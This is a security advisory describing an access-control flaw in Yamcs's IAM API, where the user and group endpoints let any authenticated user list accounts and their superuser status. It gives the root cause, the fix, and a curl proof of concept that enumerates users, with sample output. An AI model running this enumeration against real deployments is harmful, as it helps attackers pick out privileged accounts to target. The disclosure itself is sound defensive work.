Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

Compare with properly protected endpoints:

// createUser — correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system
2. Identify which accounts have superuser privileges
3. Use this information to target privileged accounts

Proof of Concept

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

Output (confirmed):

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}